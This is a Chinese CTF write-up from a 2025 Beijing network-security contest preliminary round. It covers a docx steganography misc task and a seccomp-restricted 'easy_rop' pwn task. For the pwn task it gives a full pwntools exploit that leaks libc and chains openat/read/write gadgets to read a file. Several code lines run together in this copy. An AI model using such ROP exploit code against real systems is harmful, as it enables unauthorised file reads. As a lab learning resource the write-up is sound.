2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛初赛-wp
- -考试当场没做出来 后面做的
misc
❯ cd misc
❯ ls
num.docx num.zip
❯ unzip num.docx
Archive: num.docxinflating: [Content_Types].xmlinflating: _rels/.relsinflating: word/document.xmlinflating: word/_rels/document.xml.relsextracting: word/media/image1.jpeginflating: word/theme/theme1.xmlinflating: word/settings.xmlinflating: word/styles.xmlinflating: word/webSettings.xmlinflating: word/fontTable.xmlinflating: docProps/core.xmlinflating: docProps/app.xmlinflating: word/media/iamge1
❯ ls
[Content_Types].xml _rels docProps num.docx num.zip word
❯ cd word
❯ ls
_rels document.xml fontTable.xml media settings.xml styles.xml theme webSettings.xml
❯ cd media
❯ ls
iamge1 image1.jpeg解压后有两个文件，其中image1.jpeg ,iamge1 是隐藏文件
❯ file iamge1
iamge1: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=2, orientation=upper-left], baseline, precision 8, 800x400, components 3
❯ mv iamge1 iamge1.jpeg
使用stegSolve 打开
发现最后存在一段 类似zip文件的内容，但是没有504b0304 文件头，手动添加
保存
解压发现要密码
密码122598
解码: cyberChef-link
pwn-eazyrop
Linux 4.7 System Call Table (x64)
📎easy_rop.txt
📎libc-2.31.so.txt
📎easy_rop.zip.txt
main 函数中有几个函数 其中sub_4011F6 初始化标准输入输出的
sub_40125B() 是限制系统调用的
root@VM-12-14-debian:/tmp/ctf# seccomp-tools dump ./easy_rop line CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 00030002: 0x06 0x00 0x00 0x00000000 return KILL0003: 0x20 0x00 0x00 0x00000000 A = sys_number0004: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 00060005: 0x06 0x00 0x00 0x7fff0000 return ALLOW0006: 0x15 0x00 0x01 0x00000000 if (A != read) goto 00080007: 0x06 0x00 0x00 0x7fff0000 return ALLOW0008: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 00100009: 0x06 0x00 0x00 0x7fff0000 return ALLOW0010: 0x15 0x00 0x01 0x00000003 if (A != close) goto 00120011: 0x06 0x00 0x00 0x7fff0000 return ALLOW0012: 0x15 0x00 0x01 0x00000001 if (A != write) goto 00140013: 0x06 0x00 0x00 0x7fff0000 return ALLOW0014: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 00160015: 0x06 0x00 0x00 0x7fff0000 return ALLOW0016: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 00180017: 0x06 0x00 0x00 0x7fff0000 return ALLOW0018: 0x06 0x00 0x00 0x00000000 return KILL能使用的系统调用就是 openat ,write ,read ,经典orw题，不能getshell
sub_4014E0()函数可以溢出16byte 刚好可以覆盖old rbp 和ret address ，
漏洞点那么我们可以在sub_4014E0() ret address 填一个ret 指令那么就可以回到之前main函数的栈，我们把要执行的ROPchains填写的main函数的buf中
from pwn import *
from LibcSearcher import *context(arch = 'amd64', os = 'linux',log_level='debug')
#io = process("./easy_rop")
io = gdb.debug("./easy_rop",gdbscript='''b *0x4014E0\n c''')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = 0pop_rdi = 0x00000000004015d3puts = 0x4010b0
libc_start_main = 0x0000000000403ff0
main_func = 0x0000000000401511 libc_offset = 0x1af49
#sub_rsp_jmp = asm('sub rsp,0x10;jmp esp')
#print(sub_rsp_jmp)read_func = 0x4010c0bss = 0x00404000 + 100ret = 0x000000000040101a# for ret 2 main stack to excute p1 only overflow 16 bytes
p1 = flat(b'a'*(128+8),ret)p2 = flat(pop_rdi,libc_start_main,puts,main_func)io.sendlineafter("Leave your name",p2)
print(io.recv())
io.sendafter("Leave your message:",p1)
print(io.recv())
libc_start_main = u64(io.recv(6)+b"\x00\x00")print(f"libc_start_main== {hex(libc_start_main)}")
libc_search = LibcSearcher('__libc_start_main',libc_start_main)
libc_start_main_offset = libc_search.dump('__libc_start_main')
print(f"libc_start_main_offset={hex(libc_start_main_offset)}")
libc_base_address = libc_start_main - libc_start_main_offset
print(f"libc_base_address={hex(libc_base_address)}")libc.address = libc_base_addresspop_rdx_list = list(libc.search(asm('pop rdx; ret')))
pop_rdx = pop_rdx_list[-1] # 有好几个 要用内存权限 存在x(可执行的内存)
pop_rsi = next(libc.search(asm('pop rsi; ret')))
pop_rax = next(libc.search(asm('pop rax; ret')))
pop_rcx = next(libc.search(asm('pop rcx; ret')))success (f"pop_rdx_list_ret => {[hex(pop_rdx) for pop_rdx in pop_rdx_list ]}")
success (f"pop_rdx_ret => {hex(pop_rdx) }")
success (f"pop_rsi_ret => {hex(pop_rsi)} ")open_func = libc.symbols['openat']
read_func = libc.symbols['read']
write_func = libc.symbols['write']success(f"open_func => {hex(open_func)}")
success(f"read_func => {hex(read_func)}")
success(f" write_func => {hex(write_func)}")bss = 0x00404000target_file = "/etc/hosts"
read_length = 100p3 = flat(pop_rdi,0,pop_rsi,bss+200,pop_rdx,len(target_file)+1,read_func,pop_rdi,-100,pop_rsi,bss+200,pop_rdx,0x0,pop_rcx,0x0,open_func,# new fd is 3 pop_rdi,3,pop_rsi,bss+200+10,pop_rdx,read_length,# read length read_func,pop_rdi,1,pop_rsi,bss+200+10,pop_rdx,read_length,write_func)io.sendafter("Leave your name\n",p3)
##print(io.recv())io.sendafter("Leave your message:",p1)io.send(target_file+"\x00")
print(io.recv())io.interactive()
执行效果,成功读取出 文件内容
远程还没试过
相关文章：
2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛初赛-wp
- -考试当场没做出来 后面做的 misc ❯ cd misc ❯ ls num.docx num.zip ❯ unzip num.docx Archive: num.docxinflating: [Content_Types].xmlinflating: _rels/.relsinflating: word/document.xmlinflating: word/_rels/document.xml.relsextracting: word/media/image1.jp…...
2、实验室测控系统 - /自动化与控制组件/lab-monitoring-system
76个工业组件库示例汇总 实验室测控系统开发组件 这是一个专为实验室设备数据采集与分析设计的可视化测控系统组件。采用工业风格界面设计，提供了丰富的动态数据展示与分析功能，可应用于各类实验室环境中的设备监控和数据处理。 功能特点 多设备管理…...
Blender插件机制设计与Python实现
Blender插件机制设计与Python实现 Blender的插件机制是其强大扩展性的核心，允许开发者通过Python创建自定义功能。下面我将详细介绍Blender插件系统的设计原理，并提供一个完整的示例。 Blender插件系统设计原理 模块化架构：Blender将插件作…...
自定义一个 Spring Boot Starter -笔记
SpringBoot Starter的介绍参考： Spring Boot Starter简介-笔记-CSDN博客。这里介绍如何自定义一个springBoot Starter。 1. 项目结构 创建一个 Maven 项目，结构如下： custom-spring-boot-starter-demo/ ├── custom-hello-jdk/ # jdk模…...
【Part 2安卓原生360°VR播放器开发实战】第三节｜实现VR视频播放与时间轴同步控制
《VR 360全景视频开发》专栏 将带你深入探索从全景视频制作到Unity眼镜端应用开发的全流程技术。专栏内容涵盖安卓原生VR播放器开发、Unity VR视频渲染与手势交互、360全景视频制作与优化，以及高分辨率视频性能优化等实战技巧。 📝 希望通过这个专栏&am…...
读 书 说
好久没有坐下来手敲打字去输出或者记录分享一些比较正式的事情。 今天节后综合征，虽然我已经加了两天班了，但是还是不想加班便准点下班了。 今天来聊聊看书。 为什么会看书？最开始正如我之前提到过，人脉资源不多，也不…...
DOCX转PDF怎么操作最简单？快速将DOCX转换为专业PDF文档
在日常办公或学习中，我们经常需要将 Word 文档（.docx格式）转换为 PDF 文件。这不仅有助于保持文档格式的一致性，还能确保接收者无需特定软件即可查看文件内容。本文将详细介绍几种常见的方法来实现从 DOCX 到 PDF 的转换ÿ…...
免费轻量化办公pdf修改软件 一键格式转换基础修改到高级加密
各位办公软件小能手们！今天咱来聊聊一款超厉害的 PDF 编辑软件——PDFXEdit。你知道吗，这软件就像个 PDF 处理的超级魔法师，能全方位搞定 PDF 文档。下面我就给大家详细说说它的那些功能和适用场景。 首先是基础编辑功能。这软件在文本与图像…...
【HFP】蓝牙语音通信高级功能解析：快速拨号与呼叫等待协议实现
在蓝牙语音通信系统中，除了基础的通话建立与控制流程，高级功能如快速拨号（内存拨号、最后号码重拨）和呼叫等待通知的实现，直接影响着用户体验的便捷性与系统的实用性。这些功能依赖于蓝牙协议中特定的 AT 命令交互、状…...
CVE-2025-24813：Apache Tomcat RCE 漏洞分析
CVE-2025-24813 是 Apache Tomcat 中的一个严重远程代码执行 (RCE) 漏洞，源于路径等效缺陷，允许攻击者绕过安全约束并远程执行任意代码。 CYFIRMA 的研究发现了一些活跃的漏洞利用，一些 PoC 漏洞在地下论坛上流传。攻击者利用基于 HTTP PUT 的任意文件上传、NTFS 连接漏洞利…...
神经网络之训练的艺术：反向传播与常见问题解决之道
神经网络训练的艺术：反向传播与常见问题解决之道 摘要 神经网络是现代机器学习的核心工具之一，而反向传播则是其训练过程中不可或缺的算法。本文深入探讨了反向传播的工作原理以及在训练过程中常见的问题，如梯度消失、梯度爆炸、死 ReLU 单…...
小土堆pytorch--transform
torchvision中的transform torchvision中的transform1. transforms的使用1.1 transforms的结构及用法理论1.2 相应代码1.3 对上述代码的解释 2. 常见的transforms2.1 python 的call函数2.2 ToTensor的使用2.3 Normalize的使用2.4 Resize的使用2.5 Compose的使用2.6 RandomCrop的…...
【Django】REST 常用类
ModelSerializer serializers.ModelSerializer 是 Django REST framework（DRF）里的一个强大工具，它能极大简化序列化和反序列化 Django 模型实例的流程。下面从多个方面详细介绍它： 1. 基本概念 序列化是把 Django 模型实例转化…...
PyTorch常用命令详解：助力深度学习开发
📌 友情提示： 本文内容由银河易创AI（https://ai.eaigx.com）创作平台的gpt-4-turbo模型生成，旨在提供技术参考与灵感启发。文中观点或代码示例需结合实际情况验证，建议读者通过官方文档或实践进一步确认其准…...
第二章 Logback的架构（二）
Logger, Appenders 和 Layouts Appenders 和 Layouts 基于日志记录器选择性地启用或禁用日志记录请求只是其中的一部分功能。Logback允许将日志记录请求输出到多个目标。在Logback术语中，输出目标被称为Appender。 目前，已经存在适用于控制台、文件、远…...
【大数据】服务器上部署Apache Paimon
1. 环境准备 在开始部署之前，请确保服务器满足以下基本要求： 操作系统: 推荐使用 Linux（如 Ubuntu、CentOS）。 Java 环境: Paimon 依赖 Java，推荐安装 JDK 8 或更高版本。 Flink 环境: Paimon 是基于 Apache Flink 的…...
【IP101】图像处理进阶：从直方图均衡化到伽马变换，全面掌握图像增强技术
🌟 图像增强魔法指南 🎨 在图像处理的世界里，增强就像是给图片化妆，让它展现出最佳的状态。让我们一起来探索这些神奇的增强术吧！ 📚 目录 基础概念 - 图像增强的"美容院"直方图均衡化 - 光线的…...
的加密问题)
【Azure Redis 缓存】关于Azure Cache for Redis 服务在传输和存储键值对(Key/Value)的加密问题
问题描述 Azure Cache for Redis 服务在传输和存储数据时是如何加密呢？ 问题回答 一：关于Azure cache for Redis服务在数据传输过程中是如何加密的？ 为了确保在Azure cache for Redis和客户端应用程序之间传输的数据安全，需要启用…...
Cursor 被封解决方案
一、注册一个无限邮箱 没事点点广告，让网站活久一点(✪ω✪) 2925邮箱-无限邮2925无限邮箱支持多种客户端收发邮件且数据安全加密多端同步。只需要注册一个账号，就能生成无限多个2925子邮箱账号，同时利用一邮多用功能对多个子邮箱邮件进行集…...
spring上传文件添加水印
1、实现 MultipartFile package com.pojo.common.core.domain;import java.io.ByteArrayInputStream; import java.io.File; import java.io.IOException; import java.io.InputStream;import org.springframework.lang.Nullable; import org.springframework.util.Assert; im…...
CSS分栏布局
分栏布局将区域划分为若干垂直的栏，子元素放置到栏中，填满一个后再填充下一个。如果设置了 column-count 栏数量或 column-width 栏宽度，元素就成为分栏容器。需要注意， column-width 实际上是最小栏宽度。浏览器使用这个值计算栏…...
通过 ModernBERT 实现零样本分类的性能提升
文本分类 是机器学习中最基础的任务之一，拥有悠久的研究历史和深远的实用价值。更重要的是，它是许多实际项目中不可或缺的组成部分，从搜索引擎到生物医学研究都离不开它。文本分类方法被广泛应用于科学论文分类、用户工单分类、社交媒体情感分…...
【AI】Ubuntu 22.04 4060Ti 16G vllm-api部署Qwen3-8B-FP8
下载模型 # 非常重要，否则容易不兼容报错 pip install modelscope -U cd /data/ai/models modelscope download --model Qwen/Qwen3-8B-FP8 --local_dir ./Qwen3-8B-FP8 安装vllm 创建虚拟环境 mkdir vllm cd vllm/ python -m venv venv ource venv/bin/activat…...
QML ProgressBar控件详解
在 QML 中，ProgressBar 是一个常用的进度条控件，用于显示任务的完成进度。以下是 ProgressBar 的详细用法，包括基本用法、自定义样式、动态绑定数据等。 1. 基本用法 1.1 最简单的 ProgressBar import QtQuick.Controls 2.15ProgressBar {w…...
STM32教程：串口USART通讯协议原理及分析（基于STM32F103C8T6最小系统板标准库开发）*详细教程*
前言： 本文主要介绍了单片机的通讯协议和STM32的串口USART通讯的原理及分析。 通信的目的 将一个设备的数据传送到另一个设备，扩展硬件系统。 通信协议 指定通信的规则，通信双方按照协议规则进行数据收发。 STM32常见通讯协议 各通讯特点 USART： TX（发送）、RX（接…...
EDA文件
不同的EDA软件使用不同的文件扩展名和格式，以下是主流工具对应的文件类型： EDA软件文件扩展名说明Altium Designer.PcbDocAltium专属格式，需用原软件打开，可导出为Gerber或STEP文件用于生产。KiCad.kicad_pcbKiCad项目文件&#…...
【C/C++】构造函数与析构函数
📘 C 构造函数与析构函数详解笔记 🧠 为什么需要构造函数与析构函数？ 在 C 中，对象创建和销毁过程如果仅靠手动赋值和清理非常容易出错。为此，语言提供了构造函数和析构函数： 构造函数：用于在…...
在Unity AR应用中实现摄像头切换功能
本教程将详细讲解如何在Unity AR Foundation项目中实现前后摄像头切换功能，并提供完整的代码解析。我们将使用AR Foundation的核心组件和简单的UI交互来实现这一功能。 第一部分：环境准备 1.1 所需组件 Unity 2019.4或更高版本 AR Foundation 4.0+ ARCore XR Plugin（Andro…...
Pycharm（十九）深度学习
一、深度学习概述 1.1 什么是深度学习 深度学习是机器学习中的一种特殊方法，它使用称为神经网络的复杂结构，特别是“深层”的神经网络，来学习和做出预测。深度学习特别适合处理大规模和高维度的数据，如图像、声音和文本。深度学习、机器学习和人工智能之间的关系如下图所…...
状态模式 VS 策略模式
在软件开发的世界里，设计模式如同工匠手中的精良工具，能帮助开发者打造出结构清晰、易于维护和扩展的软件系统。状态模式和策略模式便是其中两个常用却容易让人混淆的设计模式。接下来，我们会详细剖析它们的区别、适用场景，并给出…...
如何在 Ubuntu 24.04 本地安装 DeepSeek ？
在本地 Ubuntu 系统上安装 DeepSeek 可以让您在本地使用高级 AI 功能，从而消除对云服务的依赖需求。 What is DeepSeek? DeepSeek 是一个先进的开源人工智能模型，专为自然语言理解和生成而设计。它提供了类似ChatGPT的强大功能。 Prerequisites: A …...
云计算训练营笔记day02（Linux、计算机网络、进制）
Linux 是一个操作系统 Linux版本 RedHat Rocky Linux CentOS7 Linux Ubuntu Linux Debian Linux Deepin Linux 登录用户 管理员 root a 普通用户 nsd a 打开终端 放大: ctrl shift 缩小: ctrl - 命令行提示符 [rootlocalhost ~]# ~ 家目录 /root 当前登录的用户…...
数据库实验10 函数存储
数据库实验10 一、实验目的 掌握函数和存储过程的定义方法，包括标量函数、表值函数、存储过程的语法结构。理解函数和存储过程的作用及原理，区分标量函数与表值函数的应用场景，掌握存储过程的参数传递、逻辑控制和错误处理机制。能够熟练运…...
SQL Server执行安装python环境
安装注意事项 启用python脚本支持 sp_configure external scripts enabled, 1; RECONFIGURE; 安装后接受 Python EULA协议 接受python授权 setup.exe /qs /ACTIONInstall /FEATURESSQL_INST_MR /INSTANCENAME您的实例名 /IACCEPTROPENLICENSETERMS1 /IACCEPTPYTHONLICENSETE…...
ActiveMQ 安全机制与企业级实践（二）
四、企业级实践案例分析 4.1 案例背景介绍 某大型电商企业拥有复杂的分布式系统，涵盖订单管理、库存管理、物流配送、用户服务等多个核心业务模块。在业务快速发展过程中，系统间的通信量呈爆发式增长，为了实现系统的高效解耦和异步通信&…...
ActiveMQ 安全机制与企业级实践（一）
一、引言 在当今数字化时代，企业级应用的架构愈发复杂，各个系统之间的通信和协作变得至关重要。消息队列作为一种高效的异步通信机制，在企业级应用集成中扮演着关键角色。ActiveMQ 作为一款广泛使用的开源消息中间件，以其丰富的功…...
【Python pass 语句】
在 Python 中，pass 语句是一个特殊的空操作（no-op）语句，它的核心作用是保持程序结构的完整性，同时不执行任何实际操作。以下是详细说明： 一、基础特性 语法占位符：当语法上需要一条语句&#x…...
Maven依赖未生效问题
在你描述的情况下，测试类无法找到 Maven 依赖的 jar 包，可能由以下原因导致： 依赖未正确添加到 pom.xml 检查 pom.xml 文件中是否正确添加了 Elasticsearch 和 JUnit 等相关依赖。例如，对于 Elasticsearch 的 TransportClient 相关…...
NGINX `ngx_http_auth_request_module` 模块详解基于子请求的认证授权方案
一、背景介绍 在 Web 系统中，我们常常需要根据外部服务（例如单点登录、API 网关、权限中心）的结果来判断用户是否有权限访问某个资源。NGINX 提供的 ngx_http_auth_request_module 模块，正是为这种场景而生。它允许通过向后端发送…...
Qwen3简要介绍（截止20250506）
Qwen3是阿里云推出的一个大语言模型系列，它在多个方面进行了升级和优化。以下是Qwen3的一些主要特点： 模型规模多样：Qwen3提供了一系列不同规模的模型，包括稠密模型（0.6B、1.7B、4B、8B、14B、32B）以及专家…...
精益数据分析（42/126）：移动应用商业模式的深度剖析与实战要点
精益数据分析（42/126）：移动应用商业模式的深度剖析与实战要点 在创业和数据分析的学习之路上，我们持续探索不同商业模式的奥秘，今天聚焦于移动应用商业模式。我希望和大家一起进步，深入解读《精益数据分析…...
2025.5.6总结
昨天12：30睡觉，结果翻来覆去睡不着，两点半左右才睡着。看了一下最近的睡眠打卡，平均入睡时间是凌晨12：30。 自五一一个人过了5天，我才明白，人是需要社交的，只有在社交中才能找到自我…...
UE5 脚部贴地不穿过地板方案
UE自带的IK RIG和ControlRig技术 【UE5】角色脚部IK——如何让脚贴在不同斜度的地面(设置脚的旋转)_哔哩哔哩_bilibili 实验后这个还是有一部分问题,首先只能保证高度不能穿过,但是脚步旋转还是会导致穿模 IK前,整个模型在斜坡上会浮空 参考制作:https://www.youtube.com/w…...
Spring AI 函数调用（Function Call）系统设计方案
一、系统概述与设计目标 1.1 核心目标 从零构建一个灵活、安全、高效的函数调用系统，使大语言模型能够在对话中调用应用程序中的方法，同时保持良好的开发体验和企业级特性。 1.2 主要功能需求 支持通过注解将普通Java方法标记为可被AI调用的函数自动生成符合LLM要求的函数…...
Jupyter Notebook为什么适合数据分析？
Jupyter Notebook 是一款超实用的 Web 应用程序，在数据科学、编程等诸多领域都发挥着重要作用。它最大的特点就是能让大家轻松创建和共享文学化程序文档。这里说的文学化程序文档，简单来讲，就是把代码、解释说明、数学公式以及数据可视化结果…...
Leetcode Hot 100字母异位词分词
题目描述 思路 根据题意，我们可以得知我们需要将字符统计数一样的字符串，放在一起，并以列表进行返回。因此我们可以通过一个哈希表，把统计相同的放在一起，最终返回即可 代码 class Solution:def groupAnagrams(self…...
用python实现鼠标监听与手势交互
摘要 本文探讨了一种基于Python的数学函数可视化系统的设计与实现，该系统整合了Pynput鼠标事件监听机制、Matplotlib绘图引擎以及PyQt5图形用户界面框架。系统通过人机交互方式实现了函数图像的直观构建与可视化表达，支持多种函数类型的参数化建模与实时…...
UE5 GAS开发P47 游戏标签
FGameplayTag 是 Unreal Engine 中用于标记游戏对象的系统。它允许开发者为游戏对象分配标签，以便在游戏中对其进行分类、识别和操作。 FGameplayTag 结构用于表示单个游戏标签，而 FGameplayTagContainer 则用于表示一组游戏标签。 这些标签可以用于诸…...
C# 实现PLC数据自动化定时采集与存储（无需界面，自动化运行）
C# 实现PLC数据自动化定时采集与存储（无需界面，自动化运行） 在平时开发中，我们时常会遇到需要后台静默运行的应用场景，这些程序不需要用户的直接操作或界面展示，而是专注于定时任务的执行。比如说…...
Java实现堆排序算法
1. 堆排序原理图解 堆排序是一种基于二叉堆（通常使用最大堆）的排序算法。其核心思想是利用堆的性质（父节点的值大于或等于子节点的值）来高效地进行排序。堆排序分为两个主要阶段：建堆和排序。 堆排序步骤： …...